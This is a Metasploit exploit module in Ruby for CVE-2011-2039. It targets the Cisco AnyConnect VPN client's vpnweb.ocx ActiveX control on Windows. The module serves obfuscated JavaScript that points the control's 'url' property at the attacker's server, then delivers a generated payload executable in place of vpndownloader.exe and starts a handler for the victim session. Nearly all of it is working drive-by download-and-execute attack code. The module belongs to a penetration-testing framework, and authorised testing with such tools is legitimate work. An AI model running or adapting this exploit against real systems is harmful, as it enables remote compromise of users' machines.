Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute



##

# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
            'Description'    => %q{
                    This module exploits a vulnerability in the Cisco AnyConnect VPN client 
                vpnweb.ocx ActiveX control. This control is typically used to install the 
                VPN client. An attacker can set the 'url' property which is where the control
                tries to locate the files needed to install the client.

                    The control tries to download two files from the site specified within the
                'url' property. One of these files it will be stored in a temporary directory and 
                executed.
                    },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'bannedit' ],
            'Version'        => '$Revision: 12872 $',
            'References'     =>
                [
                    [ 'CVE', '2011-2039' ],
                    [ 'OSVDB', '72714'],
                    [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
                    [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
                ],
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic',
                            {
                                'Arch' => ARCH_X86
                            } 
                    ],
                ],
            'DisclosureDate' => 'Jun 01 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
            ], self.class)
    end

    def on_request_uri(cli, request)

        if request.uri.match(/vpndownloader\.exe/)
            exe = generate_payload_exe({:code => payload.encoded})

            print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
            send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
            select(nil, nil, nil, 5) # let the file download 
            handler(cli)
            return
        end
        
        if request.uri.match(/updates\.txt/)
            print_status("Client requested: #{request.uri}. Sending updates.txt")
            updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
            send_response(cli, updates, { 'Content-Type' => 'text/plain' })
            return
        end

        url = get_uri(cli)

        dir = rand_text_alpha((rand(40) + 1))
        js = ::Rex::Exploitation::JSObfu.new %Q|
        var x = document.createElement("object"); 
        x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
        x.url = "#{url}/#{dir}/";
|
        js.obfuscate
        html = "<html>\n\t<script>#{js}\t</script>\n</html>"
        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response_html(cli, html)
    end
end